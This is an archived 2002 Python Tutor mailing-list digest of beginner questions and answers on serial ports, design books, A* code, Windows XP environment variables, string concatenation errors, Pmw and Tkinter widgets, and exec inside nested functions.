Subject: [Tutor] Serial Port
In-Reply-To: <3C6C010A.B5BB9F66@ccvcorp.com>
References: <E16bLZP-0007qO-00@mail.python.org> <3C6C010A.B5BB9F66@ccvcorp.com>
Message-ID: <20020214221333.GA5873@dman.ddts.net>

On Thu, Feb 14, 2002 at 10:25:14AM -0800, Jeff Shannon wrote:
| > "Ajaya Babu" <ajaya@ncoretech.com> wrote:

I seem to be missing message(s).  Anyways ...

| > I want to access my serail port using python.  I am using linux
| > machine.  please suggest some reading on it.

The first serial port will be /dev/ttyS0.  Call open with that path as
the first argument, then read/write as you wish.  I don't know how to
set the various properties (ie speed, etc) apart from running
'setserial' as root.  One of the beauties of unix systems is that
devices "are" files.  You interact with the device by opening a file
and reading from it and writing to it.  (the same goes for the
parallel port, the mouse, the sound card, etc)

-D

-- 

A violent man entices his neighbor
and leads him down a path that is not good.
        Proverbs 16:29



From dsh8290@rit.edu  Thu Feb 14 22:22:57 2002
From: dsh8290@rit.edu (dman)
Date: Thu, 14 Feb 2002 17:22:57 -0500
Subject: [Tutor] Software Design and crackers
In-Reply-To: <DAV34VEW3F5pjUn7VN2000056d7@hotmail.com>
References: <DAV34VEW3F5pjUn7VN2000056d7@hotmail.com>
Message-ID: <20020214222257.GB5873@dman.ddts.net>

On Thu, Feb 14, 2002 at 12:36:00PM -0600, Cameron Stoner wrote:
| Hi all,
| 
| Where can I go to find out about software desing?  A book something.

"Design Patterns" by the Gang of Four is one good book (uses C++ and
Smalltalk for example code)

| I want to find a down to earth kind of help.

I've started reading "The Practice of Programming" by Kernighan and
Pike.  I didn't get very far yet, though, but it seems to be a good
book.  (uses Java and C for example code)

| I have one other question to ask and that is about how to keep
| crackers at bay?

Mmm, this is tough.  What do you want to stop them from doing?  Making
illegal copies of your software?  Using illegal copies?  Cheating?
This article is quite interesting and related :
    http://www.tuxedo.org/~esr/writings/quake-cheats.html

| Where can I start to learn about internet security.

What part of the Internet?  FTP and telnet and HTTP are not secure --
passwords are sent plain text.  Supposedly HTTPS is, but who knows for
sure.  ssh1 is claimed to be crackable (with enough computing power
and time), but ssh2 isn't.  sendmail and wu-ftpd are well known for
a rather high number of exploits found.  BIND on RH 6.2 and 7.0 is
remotely exploitable ("ramen worm").  There's also the arena of (D)DoS
attacks.  Some places to gather information are www.incidents.org and
www.insecure.org.

HTH,
-D

-- 

Commit to the Lord whatever you do,
and your plans will succeed.
        Proverbs 16:3



From kalle@gnupung.net  Thu Feb 14 22:43:10 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Thu, 14 Feb 2002 23:43:10 +0100
Subject: [Tutor] Has anyone done an A* algorithm in Python?
In-Reply-To: <JG62005B6YXLJRMOMRLPMUSDC1C1W.3c6bd94e@cmccormickl>
References: <JG62005B6YXLJRMOMRLPMUSDC1C1W.3c6bd94e@cmccormickl>
Message-ID: <20020214224310.GB21460@sandra.lysator.liu.se>

[Chris McCormick]
> I am relatively new to Python, and have been using Python/SDL/pyGame
> to create a simple roleplaying application.  I want my NPC's to
> navigate around obstacles, and I have found some resources on the A*
> algorithm.  Unfortunately, the C code is pretty unintelligible to
> me.  Has anyone done something similar in a Python project?  Seeing
> some code, or even pseudocode, would be a great help.

There is some A* code in Civil (http://civil.sf.net/), I think.  Or
maybe it was on the civil-devel mailing list.  This thread might be
helpful, for example:
http://sourceforge.net/mailarchive/forum.php?thread_id=367809&forum_id=6777

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From kp87@lycos.com  Fri Feb 15 05:28:02 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 15 Feb 2002 14:28:02 +0900
Subject: [Tutor] Re: Another new book
Message-ID: <CDELAHIDHBCMBBAA@mailcity.com>

>I think Wesley Chun's book is a better choice for novices.

I like it too. The ora 'Learning Python' book is good too, even though it is out of date. It has that nice binding and is easier on the back than Wesley Chun's book, but the Wesley Chun book is very complete and up to date and includes lots of interesting special topics and like the ora book it has nice discussions of OOP, with good diagrams.  Though (not a slam on Mr. Chun, by any means) the Core Python book does have lots of weird typos. I am not sure that it extends to the code though as the code i have copied from the book has all run, but the text itself has some oddly edited passages.

>>Has anyone here read, or read an opinion about, "Python Programming Patterns" 

That  is a lot of alliteration.

Poor Pitiful Pythonites have Plenty of Programming Publications to Pick over.

Q: Why do computer geeks and Programming Publishing Production Poopy-heads love alliteration so much?

-kp--

I suppose if the book really is about programming patterns in python there isn't much one could do.




Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From kp87@lycos.com  Fri Feb 15 05:31:45 2002
From: kp87@lycos.com (kevin parks)
Date: Fri, 15 Feb 2002 14:31:45 +0900
Subject: Subject: Re: [Tutor] Re: check for nested sequences & flatten
Message-ID: <EEEPAJEBLECMBBAA@mailcity.com>

Oops! I didn't even notice that. Looked right past it thinking it was somehow something more complicated than that!

embarrasing! Sorry! It works great. Thanks for the help.

-kevin

--
>> >      is type(item) in (types.ListType, types.TupleType):
>> 
>> I copied this and the interpreter barfed. It said sytax error and pointed at the is type(item) in (types.ListType, types.TupleType):
>> line. Anyone see this syntax error, i can't. It looks ok to me
>
>I made a typo. It should be 'if', not 'is'.





Check out Cupid School where you will learn from Matchmaker's
best and brightest. Good Luck!

http://ecard.matchmaker.com/cupid0202/cupid0202.html


From karthikg@aztec.soft.net  Fri Feb 15 06:18:39 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Fri, 15 Feb 2002 11:48:39 +0530
Subject: [Tutor] Another new book
In-Reply-To: <5104D4DBC598D211B5FE0000F8FE7EB20E66C36A@mbtlipnt02.btlabs.bt.co.uk>
Message-ID: <NEBBJNMDEKBIBCMCNMBDMEDADCAA.karthikg@aztec.soft.net>

> i had a question here though..are all patterns suggested (say
> in GOF) for a statically typed language like java applicable
> to a dynamically typed language like python?

> Two comments:
> 1) The GoF book is not about Java, it's primarily written about
> Smalltalk which is dynamically typed like Python. Almost all
> the GoF used Smalltalk at the time they wrote the original
> patterns book - one of the reasons all the patterns are single
> inheritance based.

oh!, the one i own has C++ examples.
The other day i was just wondering, java has a
java.lang.Runnable interface just to wrap a run() method bcos functions/
methods are not
first class citizens.

Does command pattern make sense to Python?
wIn java, we normally have classes implementing a Command Interface and we
normally store
all those instances in a hashtable/equivalent and invoke the Command method.

I guess Python w'd just store the method objects or function objects in a
dict and
achieve the same effect.

Can someone discuss other patterns which do not make sense / can be easily
done using Python?

karthik.








From flash1210@hotmail.com  Fri Feb 15 06:37:33 2002
From: flash1210@hotmail.com (Frank Holmes)
Date: Thu, 14 Feb 2002 22:37:33 -0800
Subject: [Tutor] setting path and pythonpath in win xp
Message-ID: <DAV58RtvElzXqHofRVv00000cc1@hotmail.com>

------=_NextPart_001_0000_01C1B5A8.31AD78F0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

How do you set the path and pythonpath in win xp? In the other windows en=
vironments you =20
enter the proper commands in the autoexec.bat but I cannot find it in xp.

------=_NextPart_001_0000_01C1B5A8.31AD78F0
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><BODY STYLE=3D"font:10pt verdana; border:none;"><DIV>How do you&nbs=
p;set the path and pythonpath in win xp? In the other windows environment=
s you <BR>enter the proper commands in the autoexec.bat but I cannot find=
 it in xp.<BR></DIV></BODY></HTML>

------=_NextPart_001_0000_01C1B5A8.31AD78F0--


From virketis@fas.harvard.edu  Fri Feb 15 06:46:59 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Fri, 15 Feb 2002 01:46:59 -0500
Subject: [Tutor] setting path and pythonpath in win xp
References: <DAV58RtvElzXqHofRVv00000cc1@hotmail.com>
Message-ID: <015001c1b5ec$91816450$18adf78c@virketis2>

This is a multi-part message in MIME format.

------=_NextPart_000_014D_01C1B5C2.A895FF90
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

>How do you set the path and pythonpath in win xp? In the other windows =
environments you=20
>enter the proper commands in the autoexec.bat but I cannot find it in =
xp.

Start --> Settings --> Control Pannel --> System --> Advanced --> =
Environmental Variables :)

Cheers,=20

Pijus



------=_NextPart_000_014D_01C1B5C2.A895FF90
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2712.300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY=20
style=3D"BORDER-RIGHT: medium none; BORDER-TOP: medium none; FONT: 10pt =
verdana; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none"=20
bgColor=3D#ffffff>
<DIV>&gt;How do you&nbsp;set the path and pythonpath in win xp? In the =
other=20
windows environments you <BR>&gt;enter the proper commands in the =
autoexec.bat=20
but I cannot find it in xp.</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial>Start --&gt; Settings --&gt; Control Pannel =
--&gt; System=20
--&gt; Advanced --&gt; Environmental Variables :)</FONT></DIV>
<DIV><FONT face=3DArial></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial>Cheers, </FONT></DIV>
<DIV><FONT face=3DArial></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial>Pijus</FONT></DIV>
<DIV><BR></DIV></BODY></HTML>

------=_NextPart_000_014D_01C1B5C2.A895FF90--



From dyoo@hkn.eecs.berkeley.edu  Fri Feb 15 09:23:51 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 15 Feb 2002 01:23:51 -0800 (PST)
Subject: [Tutor] really dumb questions    [string concatenation/string
 formatting]
In-Reply-To: <ODPKBJDEHPCGIBAA@mailcity.com>
Message-ID: <Pine.LNX.4.21.0202150109070.32118-100000@hkn.eecs.berkeley.edu>

On Fri, 15 Feb 2002, kevin parks wrote:

> f.writelines(map(lambda s: s+'\n', ["Scooby", "Dooby", "Doo"]))
> 
> This worked as is, the problem was that i tried to say:
> 
> x=['scooby', 'dooby', 'doo']
> 
> f.writelines(map(lambda s: s+'\n', x))
> 
> and that doesn't work it says:
> 
> TypeError: unsupported opperand types for +: 'int' and 'str'


Hmmm, that's odd!  I would have expected this error message if our 'x'
list contained an integer somewhere in there.  The error message:

> TypeError: unsupported opperand types for +: 'int' and 'str'

is saying something to the effect "I'm trying to add up an integer and a
string!  Help!"  The only thing I can think of is that, somehow, an
integer slipped into the list by mistake.  Can you check to see if this is
possible?


Here's an example that shows what might be happening:

###
>>> mylist = ['one', 'two', 3]
>>> for element in mylist:
...     print 'strike ' + element
... 
strike one
strike two
Traceback (most recent call last):
  File "<stdin>", line 2, in ?
TypeError: cannot concatenate 'str' and 'int' objects
###


On the 3rd strike, it's way out.  So string concatenation is a bit strict
about being aware of the types of our values.  Strings stick together with
strings, and are quite prudish when it comes to string concatenation.


However, strings relax a little when we use string formatting:

###
>>> mylist = ['one', 'two', 3]
>>> for element in mylist:
...     print 'counting %s' % (element,)
... 
counting one
counting two
counting 3
###

The '%s' part tells Python to use the "string" representation of the
element when plugging things in, no matter what, and in most cases, that's
probably what we want.


Anyway, hope you're having a pleasant holiday.  I can't wait for the three
day weekend here in the States... *grin*



From alan.gauld@bt.com  Fri Feb 15 11:35:30 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Fri, 15 Feb 2002 11:35:30 -0000
Subject: [Tutor] Software Design and crackers
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C372@mbtlipnt02.btlabs.bt.co.uk>

Cameron asked about:

Software Design
---------------
There is no good single book that I can recommend however there are
several that taken together make up a good base.

1st I'd go with something like Programming Pearls by Jon Bentley
it covers design in the small - algorithms etc

2nd I'd do something like The Pragmatic Programmer which has lots 
of good advise generally learnt the hard way.

3rd I'd get a good OO design book like Booch OOAD or maybe 
Wirfs/Brock(sp?) "Responsibility Driven Design"

4th I'd get the "Gang of Four"(GoF) Design Patterns book.

5th I'd buy my new book on design notations 
     - except I haven't finished writing it yet ;-)

Computer Security
-----------------
Search the net, read up on basic computer operating principles and 
networking. One good (but occasionally wacky!) site that I visit 
regularly is:

http://www.interhack.com/

But then I'm biased coz Matt Curtin is a friend of mine...

Alan Gauld
Solutions Designer
BT computing partners
Tel : 0141 220 8795
Fax : 0141 248 1284 


From alan.gauld@bt.com  Fri Feb 15 11:43:37 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Fri, 15 Feb 2002 11:43:37 -0000
Subject: [Tutor] Another new book
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C373@mbtlipnt02.btlabs.bt.co.uk>

> > 1) The GoF book is not about Java, it's primarily written about
> > Smalltalk which is dynamically typed like Python. Almost all
> > the GoF used Smalltalk at the time they wrote the original
> 
> oh!, the one i own has C++ examples.

Yes it has, but that was because of the marketplace - everyone was 
using C++ then. Nowadays it would be Java. But the ideas were 
mainly developed in Smalltalk.

Or so Ralph Johnston said at the seminar I attended...

Alan g.
Author of the 'Learning to Program' web site
http://www.freenetpages.co.uk/hp/alan.gauld


From aschmidt@nv.cc.va.us  Fri Feb 15 14:24:20 2002
From: aschmidt@nv.cc.va.us (Schmidt, Allen J.)
Date: Fri, 15 Feb 2002 09:24:20 -0500
Subject: [Tutor] List for Zope beginners
Message-ID: <5CDFEBB60E7FD311B9E30000F6D6090608CB8F80@novamail2.nv.cc.va.us>

http://lists.zope.org/mailman/listinfo/zope
The basic Zope list. sign up and lurk for a while. This page has a link to
search the archives. Best to do that before asking questions. Most newbie
questions have been gone over several times and lots of good info abounds.

Also, one of the best ways of finding info on specific things is a
www.google.com search.


http://www.zope.org/Documentation
Many links to existing documentation.

http://www.zope.org/Members/michel/ZB
The first Zope Book online...recently and continuously updated.

Some stuff is hard to find but its out there. Any question you could have
has been asked and answered online.

www.freezope.org is a great place to play and learn first. Create a free
site with many products already installed. Not quite the same as having it
on your own box but really the next best thing.

Have fun! Feel free to email me offline if you have other questions about
Zope.

Allen Schmidt
allen.freezope.org
www.fredericksburg.com -- All in Zope/Python/MySQL

-----Original Message-----
From: Danny Yoo [mailto:dyoo@hkn.eecs.berkeley.edu]
Sent: Thursday, February 14, 2002 4:46 PM
To: Ramkumar Kashyap
Cc: tutor@python.org
Subject: Re: [Tutor] List for Zope beginners


On Thu, 14 Feb 2002, Ramkumar Kashyap wrote:

> Is there a list for Zope beginners.  I have downloaded Zope and am
> going through the e.g. and was wondering if there was a similar list.

Hmmm... you may want to try the ZopeZen and ZopeNewbies people:

    http://www.zopezen.org/
    http://zopenewbies.net/

I haven't been able to find a mailing list, but that might just mean that
I'm not looking hard enough...

Try asking on zopezen.org, and people there may be able to point you
toward good resources for new Zopistas.  If you find that mailing list,
tell us so that we can better respond to this question next time.  Good
luck to you!


_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From alan.gauld@bt.com  Fri Feb 15 17:06:06 2002
From: alan.gauld@bt.com (alan.gauld@bt.com)
Date: Fri, 15 Feb 2002 17:06:06 -0000
Subject: [Tutor] setting path and pythonpath in win xp
Message-ID: <5104D4DBC598D211B5FE0000F8FE7EB20E66C37A@mbtlipnt02.btlabs.bt.co.uk>

------_=_NextPart_001_01C1B643.0E308750
Content-type: text/plain; charset="ISO-8859-1"

>  How do you set the path and pythonpath in win xp? In the other  
>  windows environments you enter the proper commands in the  
>  autoexec.bat but I cannot find it in xp. 
 
 
XP = NT so you do it through the My Computer Properties page
 
One of the tabs has an Environment Variables button that allows 
you to set env vars per user or globally. 
 
Add the values you need there.
 
The alternative(and not recommended route) is to edit the file 
AUTOEXEC.NT which will be read when executing a DOS box... 
But if you do it via the dialogue you shouldn't need autoexec.
 
Alan g


------_=_NextPart_001_01C1B643.0E308750
Content-type: text/html; charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">


<META content="MSHTML 5.50.4807.2300" name=GENERATOR></HEAD>
<BODY 
style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; FONT: 10pt verdana; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none">
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>&gt; 
&nbsp;</FONT></SPAN>How do you&nbsp;set the path and pythonpath in win xp? In 
the other&nbsp;<SPAN class=000470917-15022002><FONT face="Courier New" 
color=#0000ff>&nbsp;</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>&gt; 
</FONT>&nbsp;</SPAN>windows environments you enter the proper commands in 
the&nbsp;<SPAN class=000470917-15022002><FONT face="Courier New" 
color=#0000ff>&nbsp;</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>&gt; 
</FONT>&nbsp;</SPAN>autoexec.bat but I cannot find it in xp.<SPAN 
class=000470917-15022002><FONT face="Courier New" 
color=#0000ff>&nbsp;</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002></SPAN>&nbsp;</DIV>
<DIV><SPAN class=000470917-15022002></SPAN>&nbsp;</DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>XP = 
NT so you do it through the My Computer Properties page</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002></SPAN>&nbsp;</DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>One 
of the tabs has an Environment Variables button that allows </FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>you 
to set env vars&nbsp;per user or&nbsp;globally.</FONT>&nbsp;</SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" 
color=#0000ff></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>Add 
the values you need there.</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" 
color=#0000ff></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>The 
alternative(and not recommended route) is to edit the file </FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" 
color=#0000ff>AUTOEXEC.NT which will be read when executing a DOS box... 
</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>But 
if you do it via the dialogue you shouldn't need autoexec.</FONT></SPAN></DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" 
color=#0000ff></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=000470917-15022002><FONT face="Courier New" color=#0000ff>Alan 
g</FONT></SPAN></DIV>
<DIV><BR></DIV></BODY></HTML>

------_=_NextPart_001_01C1B643.0E308750--


From lsloan@umich.edu  Fri Feb 15 16:25:06 2002
From: lsloan@umich.edu (lsloan@umich.edu)
Date: Fri, 15 Feb 2002 11:25:06 -0500
Subject: [Tutor] disabling Pmw ComboBox's EntryField?
Message-ID: <200202151817.NAA01095@birds.us.itd.umich.edu>

How do I disable a Pmw ComboBox's EntryField and make its dropdown menu
open when that EntryField is clicked?

What I've tried in my class so far is:

	self.cboxDomain = Pmw.ComboBox(grpNav.interior(),
		label_text='Domain:',
		labelpos='w',
		fliparrow=1,
		selectioncommand=self.clickDomain)
	self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
		self.cboxDomain.invoke)
	self.cboxDomain.component('entryfield_entry').configure(
		state=DISABLED)
	self.cboxDomain.grid(row=1, column=0, columnspan=2, sticky='w')

The disabling part works fine.  I can't type anything into the field,
yet when I select something from the dropdown menu, it will appear in
it, which is what I wanted.  However, the initial click on the
EntryField produces this error:

	Error: 1
	TypeError Exception in Tk callback
	  Function: <method ComboBox.invoke of ComboBox instance at
	  4adb64> (type: <type 'instance method'>)
	  Args: (<Tkinter.Event instance at 578744>,)
	  Event type: ButtonPress (type num: 4)
	Traceback (innermost last):
	  File ".../Pmw/Pmw_0_8_5/lib/PmwBase.py", line 1690, in
	  __call__
		None
	TypeError: too many arguments; expected 1, got 2

--
Lance E Sloan
Web Services, Univ. of Michigan: Full-service Web and database design,
development, and hosting.  Specializing in Python & Perl CGIs.
http://websvcs.itd.umich.edu/ - "Putting U on the Web"


From m_konermann@gmx.de  Fri Feb 15 10:00:30 2002
From: m_konermann@gmx.de (Keule)
Date: Fri, 15 Feb 2002 11:00:30 +0100
Subject: [Tutor] Calling a python program from a program menu
Message-ID: <3C6CDC3E.9090104@gmx.de>

--------------050901010108030302080801
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

  HI @ All

I want to call a python script, consist of an entry widget (like below)


# variablen.py
from Tkinter import *
from quitter import Quitter
fields = 'Minimalwert', 
'Maximalwert','Pre-Kondition','Post-Kondition','Zeile','Spalte'

def fetch(entries):
    for entry in entries:
        print 'Input => "%s"' % entry.get()         # get text
    print 'entries=',entries

def makeform(root, fields):
    entries = []
    for field in fields:
        row = Frame(root)                                       # make a 
new row
        lab = Label(row, width=15, text=field)       # add label, entry
        ent = Entry(row)
        row.pack(side=TOP, fill=X)                          # pack row 
on top
        lab.pack(side=LEFT)
        ent.pack(side=RIGHT, expand=YES, fill=X)    # grow horizontal
        entries.append(ent)
    return entries

if __name__ == '__main__':
    root = Tk()
    root.title('Variableneingabe')
    ents = makeform(root, fields)
    root.bind('<Return>', (lambda event, e=ents: fetch(e)))   
    Button(root, text='nächste Variable',command=(lambda e=ents: 
fetch(e))).pack(side=LEFT)
    Quitter(root).pack(side=RIGHT)
    root.mainloop()

from another script, consist of a complete program menu

 def makemenu(win):
    top = Menu(win)                                    # win=top-level 
window
    win.config(menu=top)                           # set its menu option

     Variablen = Menu(top)
    Variablen.add_command(label=    'Neu',          command=variablen.py 
,  underline=0)
    top.add_cascade(label=          'Variablen',    menu=Variablen,   
underline=0)
     .....

but there seems to be a mistake in the calling sequence 
 command=variablen.py .
Have anyone got an idea ?

Greetings
Marcus





--------------050901010108030302080801
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
   HI @ All<br>
<i><br>
</i>I want to call a python script, consist of an entry widget (like below)<br>
<i><br>
<br>
 # variablen.py<br>
 from Tkinter import *<br>
 from quitter import Quitter<br>
 fields = 'Minimalwert', 'Maximalwert','Pre-Kondition','Post-Kondition','Zeile','Spalte'<br>
<br>
 def fetch(entries):<br>
 &nbsp;&nbsp;&nbsp; for entry in entries:<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; print 'Input =&gt; "%s"' % entry.get()&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # get text<br>
 &nbsp;&nbsp;&nbsp; print 'entries=',entries<br>
<br>
 def makeform(root, fields):<br>
 &nbsp;&nbsp;&nbsp; entries = []<br>
 &nbsp;&nbsp;&nbsp; for field in fields:<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row = Frame(root)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # make a 
new row<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lab = Label(row, width=15, text=field)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # add label, entry<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ent = Entry(row)<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; row.pack(side=TOP, fill=X)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # pack row on 
top<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lab.pack(side=LEFT)<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ent.pack(side=RIGHT, expand=YES, fill=X)&nbsp;&nbsp;&nbsp; # grow horizontal<br>
 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; entries.append(ent)<br>
 &nbsp;&nbsp;&nbsp; return entries<br>
<br>
 if __name__ == '__main__':<br>
 &nbsp;&nbsp;&nbsp; root = Tk()<br>
 &nbsp;&nbsp;&nbsp; root.title('Variableneingabe')<br>
 &nbsp;&nbsp;&nbsp; ents = makeform(root, fields)<br>
 &nbsp;&nbsp;&nbsp; root.bind('&lt;Return&gt;', (lambda event, e=ents: fetch(e)))&nbsp; &nbsp;<br>
 &nbsp;&nbsp;&nbsp; Button(root, text='n&auml;chste Variable',command=(lambda e=ents: fetch(e))).pack(side=LEFT)<br>
 &nbsp;&nbsp;&nbsp; Quitter(root).pack(side=RIGHT)<br>
 &nbsp;&nbsp;&nbsp; root.mainloop()<br>
<br>
</i>from another script, consist of a complete program menu<i><br>
<br>
 &nbsp;def makemenu(win):<br>
 &nbsp;&nbsp;&nbsp; top = Menu(win)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; # win=top-level window<br>
 &nbsp;&nbsp;&nbsp; win.config(menu=top)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; # set its menu option<br>
<br>
 &nbsp;&nbsp; &nbsp; Variablen = Menu(top)<br>
 &nbsp;&nbsp;&nbsp; Variablen.add_command(label=&nbsp;&nbsp;&nbsp; 'Neu',&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </i><b>command=variablen.py</b>
,&nbsp; underline=0)<br>
 &nbsp; &nbsp;<i> top.add_cascade(label=&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 'Variablen',&nbsp;&nbsp;&nbsp; menu=Variablen,&nbsp;&nbsp;
underline=0)<br>
&nbsp;&nbsp;&nbsp;&nbsp; .....</i><br>
<br>
but there seems to be a mistake in the calling sequence &nbsp;<b>command=variablen.py</b>
.<br>
Have anyone got an idea ?<br>
<br>
Greetings<br>
Marcus<br>
<br>
<br>
<br>
<br>
</body>
</html>

--------------050901010108030302080801--



From fallen@leveltwo.com  Fri Feb 15 21:29:24 2002
From: fallen@leveltwo.com (Fred Allen)
Date: Fri, 15 Feb 2002 13:29:24 -0800
Subject: [Tutor] Mysterious Qualifier!
Message-ID: <4BB02C541824D311921600902765DB7B445C75@LTISERVER>

Dear Tutors:

Despite reviewing the documentation, I seem unable to find how to correct
the syntax error presented beneath the following code block. I'm using 2.2.

def lsdoc(modu):
	exec 'reload ' + modu
	md = eval(modu + ".__doc__")
	print 'Module ' + str(modu) + "'s Document String:", md
	lscdocs(modu)

	def lscdocs(modu):

		…MORE CODE…


“SyntaxError: unqualified exec is not allowed in function 'lsdoc' it
contains a nested function with free variables (lsmoddocs.py, line 8)”


I see I should qualify the 'exec' command, or so it seems, but the only
means I know of qualifying anything is with the dot operator.  I fail to see
how, what, and with what, to carry out this error's implicit corrective.  If
you can give me a suggestion, I'd be most grateful.  I am,

Respectfully,

Fred Allen









From dyoo@hkn.eecs.berkeley.edu  Fri Feb 15 21:28:43 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Fri, 15 Feb 2002 13:28:43 -0800 (PST)
Subject: [Tutor] disabling Pmw ComboBox's EntryField?   [quick lambda
 hacks]
In-Reply-To: <200202151817.NAA01095@birds.us.itd.umich.edu>
Message-ID: <Pine.LNX.4.21.0202151323170.12898-100000@hkn.eecs.berkeley.edu>

On Fri, 15 Feb 2002 lsloan@umich.edu wrote:

> 
> How do I disable a Pmw ComboBox's EntryField and make its dropdown menu
> open when that EntryField is clicked?
> 
> What I've tried in my class so far is:
> 
> 	self.cboxDomain = Pmw.ComboBox(grpNav.interior(),
> 		label_text='Domain:',
> 		labelpos='w',
> 		fliparrow=1,
> 		selectioncommand=self.clickDomain)
> 	self.cboxDomain.component('entryfield_entry').bind('<Button-1>',
> 		self.cboxDomain.invoke)

I haven't played with Python megawidgets yet, but the error message here:

> 	  Args: (<Tkinter.Event instance at 578744>,)
> 	  Event type: ButtonPress (type num: 4)
> 	Traceback (innermost last):
